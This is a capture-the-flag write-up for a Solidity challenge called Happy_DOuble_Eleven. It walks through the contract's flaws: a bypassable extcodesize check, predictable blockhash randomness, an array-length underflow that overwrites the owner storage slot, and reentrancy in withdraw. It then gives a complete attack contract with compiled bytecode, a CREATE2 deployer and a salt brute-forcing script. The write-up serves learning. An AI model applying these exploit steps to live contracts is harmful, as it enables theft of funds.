15.storage @Happy_DOuble_Eleven
2023-07-04 13:41:12 # 02.ChainflagCTF

storage(Happy_DOuble_Eleven)

contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
pragma solidity ^0.4.23;

interface Tmall {
function Chop_hand(uint) view public returns (bool);
}

contract Happy_DOuble_Eleven {

address public owner; //0
bool public have_money; //0
bytes32[] public codex; //1

bool public have_chopped; //2
uint public hand; //3

mapping (address => uint) public balanceOf; //4
mapping (address => uint) public mycart; //5
mapping (address => uint) public level; //6

event pikapika_SendFlag(string b64email);

constructor() public {
owner = msg.sender;
}

function payforflag(string b64email) onlyOwner public {
require(uint(msg.sender) & 0xfff == 0x111);
require(level[msg.sender] == 3);
require(mycart[msg.sender] > 10000000000000000000);
balanceOf[msg.sender] = 0;
level[msg.sender] = 0;
have_chopped = false;
have_money = false;
codex.length = 0;
emit pikapika_SendFlag(b64email);
}

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

modifier first() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}

function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(_value > 0);

uint256 oldFromBalance = balanceOf[_from];
uint256 oldToBalance = balanceOf[_to];

uint256 newFromBalance = balanceOf[_from] - _value;
uint256 newToBalance = balanceOf[_to] + _value;

require(oldFromBalance >= _value);
require(newToBalance > oldToBalance);

balanceOf[_from] = newFromBalance;
balanceOf[_to] = newToBalance;

assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
}

function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}

function Deposit() public payable {
if(msg.value >= 500 ether){
mycart[msg.sender] += 1;
}
}

function gift() first {
require(mycart[msg.sender] == 0);
require(uint(msg.sender) & 0xfff == 0x111);
balanceOf[msg.sender] = 100;
mycart[msg.sender] += 1;
level[msg.sender] += 1;
}


function Chopping(uint _hand) public {
Tmall tmall = Tmall(msg.sender);

if (!tmall.Chop_hand(_hand)) {
hand = _hand;
have_chopped = tmall.Chop_hand(hand);
}
}

function guess(uint num) public {
uint seed = uint(blockhash(block.number - 1));
uint rand = seed % 3;
if (rand == num) {
have_money = true;
}
}

function buy() public {
require(level[msg.sender] == 1);
require(mycart[msg.sender] == 1);
require(have_chopped == true);
require(have_money == true);
mycart[msg.sender] += 1;
level[msg.sender] += 1;
}


function retract() public {
require(codex.length == 0);
require(mycart[msg.sender] == 2);
require(level[msg.sender] == 2);
require(have_money == true);
codex.length -= 1;
}

function revise(uint i, bytes32 _person) public {
require(codex.length >= 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000);
require(mycart[msg.sender] == 2);
require(level[msg.sender] == 2);
require(have_money == true);
codex[i] = _person;
if (codex.length < 0xffffffffff000000000000000000000000000000000000000000000000000000){
codex.length = 0;
revert();
}
else{
level[msg.sender] += 1;
}
}

function withdraw(uint _amount) onlyOwner public {
require(mycart[msg.sender] == 2);
require(level[msg.sender] == 3);
require(_amount >= 100);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
balanceOf[msg.sender] -= _amount;
msg.sender.call.value(_amount)();
mycart[msg.sender] -= 1;
}
}

analyses

  • our goal
    • require(uint(msg.sender) & 0xfff == 0x111): CREATE2
    • require(level[msg.sender] == 3);
    • require(mycart[msg.sender] > 10000000000000000000);
1
2
3
4
5
6
7
8
9
10
11
function payforflag(string b64email) onlyOwner public {
require(uint(msg.sender) & 0xfff == 0x111);
require(level[msg.sender] == 3);
require(mycart[msg.sender] > 10000000000000000000);
balanceOf[msg.sender] = 0;
level[msg.sender] = 0;
have_chopped = false;
have_money = false;
codex.length = 0;
emit pikapika_SendFlag(b64email);
}

level[msg.sender]

  • first level
    • CREATE2
    • attack in the constructor()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function gift() first {
require(mycart[msg.sender] == 0);
require(uint(msg.sender) & 0xfff == 0x111);
balanceOf[msg.sender] = 100;
mycart[msg.sender] += 1;
level[msg.sender] += 1;
}

modifier first() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
  • second level
    • Chopping(): return false firstly and then return true secondly. It is like ethernaut CTF’s Elevator
    • guess(): we can cal the rand in the attack contract, because it is a pseudo random number.
    • buy(): After we have call chopping() and guess(), we can call it to get second level
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 function Chopping(uint _hand) public {
Tmall tmall = Tmall(msg.sender);

if (!tmall.Chop_hand(_hand)) {
hand = _hand;
have_chopped = tmall.Chop_hand(hand);
}
}

function guess(uint num) public {
uint seed = uint(blockhash(block.number - 1));
uint rand = seed % 3;
if (rand == num) {
have_money = true;
}
}

function buy() public {
require(level[msg.sender] == 1);
require(mycart[msg.sender] == 1);
require(have_chopped == true);
require(have_money == true);
mycart[msg.sender] += 1;
level[msg.sender] += 1;
}
  • Third level
    • retract(): underflow
    • revise(): cal the lengthNeed to overlap the owner
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function retract() public {
require(codex.length == 0);
require(mycart[msg.sender] == 2);
require(level[msg.sender] == 2);
require(have_money == true);
codex.length -= 1;
}

function revise(uint i, bytes32 _person) public {
require(codex.length >= 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000);
require(mycart[msg.sender] == 2);
require(level[msg.sender] == 2);
require(have_money == true);
codex[i] = _person;
if (codex.length < 0xffffffffff000000000000000000000000000000000000000000000000000000){
codex.length = 0;
revert();
}
else{
level[msg.sender] += 1;
}
}

function withdraw(uint _amount) onlyOwner public {
require(mycart[msg.sender] == 2);
require(level[msg.sender] == 3);
require(_amount >= 100);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
balanceOf[msg.sender] -= _amount;
msg.sender.call.value(_amount)();
mycart[msg.sender] -= 1;
}

mycart[msg.sender]

  • reentrant
    • After we call revise() to get the thrid level, we can make a underflow to get a lot of money by reentrant
    • if we make a reentrant, balanceOf[msg.sender] >= _amount would revert. So we need to get more money, we can make it by _transfer since we can get extra money if the _from and _to are both us.
    • require(address(this).balance >= _amount);: to pass this check, we should use selfDestruct() to send ether(pay attention to send enough money, or it doesn’t have enough money to make a reentrant) forcibly to the Happy_DOuble_Eleven since there is no fallback and receive in it.
1
2
3
4
5
6
7
8
9
10
function withdraw(uint _amount) onlyOwner public {
require(mycart[msg.sender] == 2);
require(level[msg.sender] == 3);
require(_amount >= 100);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
balanceOf[msg.sender] -= _amount;
msg.sender.call.value(_amount)();
mycart[msg.sender] -= 1;
}
1
2
3
4
5
6
7
8
9
10
11
contract sendMoney{
// deploy with 1 ether
constructor() public payable {}

function forceSendMoney(address payable _addr) public{
selfdestruct(_addr);
// send money to Happy_DOuble_Eleven
}

receive() payable external{}
}

solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
pragma solidity 0.8.10;
interface IHappy_DOuble_Eleven{
function gift()external;
function transfer(address to,uint256 )external;
function guess(uint256 )external;
function withdraw(uint256 )external;
function payforflag(string calldata)external;
function Chopping(uint ) external;
function buy()external;
function retract() external;
function revise(uint, bytes32) external;
}

contract attack{
IHappy_DOuble_Eleven public instance = IHappy_DOuble_Eleven(0x9d83e140330758a8fFD07F8Bd73e86ebcA8a5692);
uint public isWithdraw = 0 ;
bool public hasEntered = false;

constructor()public{
// get the first level
instance.gift();
}

// step05: get money for withdraw()
function step01_getMoneyForWithdraw()public{
// make sure we have enough to reentrant when we call withdraw()
for(uint i=0;i<10;i++){
instance.transfer(address(this),100);
}

}

// step06: get second level
function step02_getSecondLevel()public{
instance.Chopping(0);
uint rand = uint(blockhash(block.number - 1)) % 3;
instance.guess(rand);
instance.buy();
}

// step07: get third level and reentrant for enough mycart
function step03_getThirdLevelAndMycart()public{
instance.retract();
bytes32 slot = keccak256(abi.encode(1));
// cal the `lengthNeed` to overlap the owner
instance.revise(2**256-1 - uint256(slot) + 1,bytes32(uint256(uint160((address(this))))));
instance.withdraw(100);
}

// step08: successfully!
function step04_Complete()public{
instance.payforflag("successfully");
}

function Chop_hand(uint _x) public returns (bool){
if(!hasEntered){
hasEntered = true;
return false;
}else{
return true;
}
}

fallback()external payable{
if(isWithdraw < 2){
isWithdraw += 1;
instance.withdraw(100);
}
}

}

contract deployer{
// step04: deploy the attack contract
bytes attackByteCode = hex"6080604052739d83e140330758a8ffd07f8bd73e86ebca8a56926000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006001556000600260006101000a81548160ff02191690831515021790555034801561008457600080fd5b5060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166324b049056040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156100ed57600080fd5b505af1158015610101573d6000803e3d6000fd5b50505050610ea7806101146000396000f3fe60806040526004361061007f5760003560e01c8063679309961161004e57806367930996146101f8578063a8286aca1461020f578063c08af0761461024c578063dbae172c1461026357610080565b8063022ec095146101745780630389502b1461019f5780630d4a7f73146101b657806360251ad2146101e157610080565b5b60026001541015610172576100cc6040518060400160405280600b81526020017f697357697468647261773d00000000000000000000000000000000000000000081525060015461028e565b60018060008282546100de9190610916565b9250508190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d60646040518263ffffffff1660e01b815260040161013f91906109b1565b600060405180830381600087803b15801561015957600080fd5b505af115801561016d573d6000803e3d6000fd5b505050505b005b34801561018057600080fd5b5061018961032a565b6040516101969190610a41565b60405180910390f35b3480156101ab57600080fd5b506101b461034e565b005b3480156101c257600080fd5b506101cb610569565b6040516101d89190610a77565b60405180910390f35b3480156101ed57600080fd5b506101f661057c565b005b34801561020457600080fd5b5061020d610607565b005b34801561021b57600080fd5b5061023660048036038101906102319190610ac3565b6107c2565b6040516102439190610a77565b60405180910390f35b34801561025857600080fd5b50610261610806565b005b34801561026f57600080fd5b506102786108b6565b6040516102859190610aff565b60405180910390f35b61032682826040516024016102a4929190610bb3565b6040516020818303038152906040527fb60e72cc000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506108bc565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166347f57b326040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156103b657600080fd5b505af11580156103ca573d6000803e3d6000fd5b50505050600060016040516020016103e29190610c2b565b60405160208183030381529060405280519060200120905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630339f30060018360001c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6104679190610c46565b6104719190610916565b3073ffffffffffffffffffffffffffffffffffffffff1660001b6040518363ffffffff1660e01b81526004016104a8929190610c93565b600060405180830381600087803b1580156104c257600080fd5b505af11580156104d6573d6000803e3d6000fd5b5050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d60646040518263ffffffff1660e01b815260040161053491906109b1565b600060405180830381600087803b15801561054e57600080fd5b505af1158015610562573d6000803e3d6000fd5b5050505050565b600260009054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bc344bc6040518163ffffffff1660e01b81526004016105d390610d08565b600060405180830381600087803b1580156105ed57600080fd5b505af1158015610601573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323de863560006040518263ffffffff1660e01b81526004016106619190610d63565b600060405180830381600087803b15801561067b57600080fd5b505af115801561068f573d6000803e3d6000fd5b50505050600060036001436106a49190610c46565b4060001c6106b29190610dad565b905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639189fec1826040518263ffffffff1660e01b815260040161070d9190610aff565b600060405180830381600087803b15801561072757600080fd5b505af115801561073b573d6000803e3d6000fd5b5050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a6f2ae3a6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156107a757600080fd5b505af11580156107bb573d6000803e3d6000fd5b5050505050565b6000600260009054906101000a900460ff166107fc576001600260006101000a81548160ff02191690831515021790555060009050610801565b600190505b919050565b60005b600a8110156108b35760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3060646040518363ffffffff1660e01b815260040161086e929190610dff565b600060405180830381600087803b15801561088857600080fd5b505af115801561089c573d6000803e3d6000fd5b5050505080806108ab90610e28565b915050610809565b50565b60015481565b60006a636f6e736f6c652e6c6f679050600080835160208501845afa505050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610921826108dd565b915061092c836108dd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610961576109606108e7565b5b828201905092915050565b6000819050919050565b6000819050919050565b600061099b6109966109918461096c565b610976565b6108dd565b9050919050565b6109ab81610980565b82525050565b60006020820190506109c660008301846109a2565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610a07610a026109fd846109cc565b610976565b6109cc565b9050919050565b6000610a19826109ec565b9050919050565b6000610a2b82610a0e565b9050919050565b610a3b81610a20565b82525050565b6000602082019050610a566000830184610a32565b92915050565b60008115159050919050565b610a7181610a5c565b82525050565b6000602082019050610a8c6000830184610a68565b92915050565b600080fd5b610aa0816108dd565b8114610aab57600080fd5b50565b600081359050610abd81610a97565b92915050565b600060208284031215610ad957610ad8610a92565b5b6000610ae784828501610aae565b91505092915050565b610af9816108dd565b82525050565b6000602082019050610b146000830184610af0565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610b54578082015181840152602081019050610b39565b83811115610b63576000848401525b50505050565b6000601f19601f8301169050919050565b6000610b8582610b1a565b610b8f8185610b25565b9350610b9f818560208601610b36565b610ba881610b69565b840191505092915050565b60006040820190508181036000830152610bcd8185610b7a565b9050610bdc6020830184610af0565b9392505050565b6000819050919050565b600060ff82169050919050565b6000610c15610c10610c0b84610be3565b610976565b610bed565b9050919050565b610c2581610bfa565b82525050565b6000602082019050610c406000830184610c1c565b92915050565b6000610c51826108dd565b9150610c5c836108dd565b925082821015610c6f57610c6e6108e7565b5b828203905092915050565b6000819050919050565b610c8d81610c7a565b82525050565b6000604082019050610ca86000830185610af0565b610cb56020830184610c84565b9392505050565b7f7375636365737366756c6c790000000000000000000000000000000000000000600082015250565b6000610cf2600c83610b25565b9150610cfd82610cbc565b602082019050919050565b60006020820190508181036000830152610d2181610ce5565b9050919050565b6000819050919050565b6000610d4d610d48610d4384610d28565b610976565b6108dd565b9050919050565b610d5d81610d32565b82525050565b6000602082019050610d786000830184610d54565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000610db8826108dd565b9150610dc3836108dd565b925082610dd357610dd2610d7e565b5b828206905092915050565b6000610de9826109cc565b9050919050565b610df981610dde565b82525050565b6000604082019050610e146000830185610df0565b610e2160208301846109a2565b9392505050565b6000610e33826108dd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610e6657610e656108e7565b5b60018201905091905056fea264697066735822122062172fee4eafbc222ece45b3466d8e14d5df7b7a1dffed7df431c35b69fb803264736f6c634300080a0033";
function deploy(bytes32 _salt) public returns(address){
bytes memory bytecode = attackByteCode;
address addr;
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
}
return addr;
}
// step03: cal the hash
function getHash()public view returns(bytes32){
return keccak256(attackByteCode);
}
}

contract sendMoney{
// step01: deploy with 1 ether
constructor() public payable {

}
// step02: send Happy_DOuble_Eleven 1 ether
function forceSendMoney(address payable _addr) public{
selfdestruct(_addr);
}

receive() payable external{}
}

CREATE2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
@staticmethod
def GetSpecialAddressByCreate2(DeployAddress: str, BytecodeHash: str, content: str, position:int = 0) -> str:
'''
获得包含特定内容的地址,通过 create2。根据 create2原理写出来的
如果想让地址的某个位置是特定内容的值,
此方法用于获取一个位置有特殊内容的地址

参数:
DeployAttackAddress (str): 部署合约地址
BytecodeHash (str): 待部署的合约的 bytecode的 hash 值
content: 包含的某个特定的值
position(可选):地址的某个位置是特定内容的值,默认是0,可手动调整,比如 content='ab',position=-2就是计算得到的地址的后两位是'ab',第position位是之后的

返回值:
str: 第一个是 salt值,第二个是地址

例子: BlockchainUtils.GetSpecialAddressByCreate2("406187E1b3366B5da3539D99C4E88E42FC60De50","da647010355608442b3eab68e7dcc6d5b836f2628d2366ff8ae853413a643965","5a54")
得到的地址包含 '5a54'
'''
try:
i = 0
start_time = time.time() # 获取当前时间戳

while (1):
current_time = time.time()
elapsed_time = current_time - start_time

if elapsed_time >= 10:
raise Exception("time out,maybe a wrong position")

salt = hex(i)[2:].rjust(64, '0')
s = '0xff' + DeployAddress + salt + BytecodeHash
hashed = Web3.keccak(hexstr=s)
address = ''.join(['%02x' % b for b in hashed])[24:]
if position == 0 and content in address[position:]:
logger.success(
f"\n[BlockchainUtils][GetSpecialAddressByCreate2]\n[content] {content} \n[salt] 0x{salt} \n[position] [{position}:{position+len(content)}) \n[address] 0x{address}\n{'-' * 80}")
return "0x" + salt, "0x" + address
elif position > 0 and content in address[position:position+len(content)]:
logger.success(
f"\n[BlockchainUtils][GetSpecialAddressByCreate2]\n[content] {content} \n[salt] 0x{salt} \n[position] [{position}:{position+len(content)}) \n[address] 0x{address}\n{'-' * 80}")
return "0x" + salt, "0x" + address
elif position < 0 and position != -4 and content in address[position:position + len(content)]:
logger.success(
f"\n[BlockchainUtils][GetSpecialAddressByCreate2]\n[content] {content} \n[salt] 0x{salt} \n[position] [{position}:{position + len(content)}) \n[address] 0x{address}\n{'-' * 80}")
return "0x" + salt, "0x" + address
elif position == -4 and content in address[position:]:
logger.success(
f"\n[BlockchainUtils][GetSpecialAddressByCreate2]\n[content] {content} \n[salt] 0x{salt} \n[position] [{position}:-1] \n[address] 0x{address} \n{'-' * 80}")
return "0x" + salt, "0x" + address
else:
pass
i += 1
except Exception:
ExceptionInformation = format_exc()
logger.error(
f"\n[BlockchainUtils][GetSpecialAddressByCreate2] Failed\n[content] {content}\n {ExceptionInformation}{'-'*80}"
)
return None

# BlockchainUtils.GetSpecialAddressByCreate2('D4Fc541236927E2EAf8F27606bD7309C1Fc2cbee','5a65378286db3954a8273271b6402bb2c9e658f898a7a9fa23bf53ce3e134551','111',37)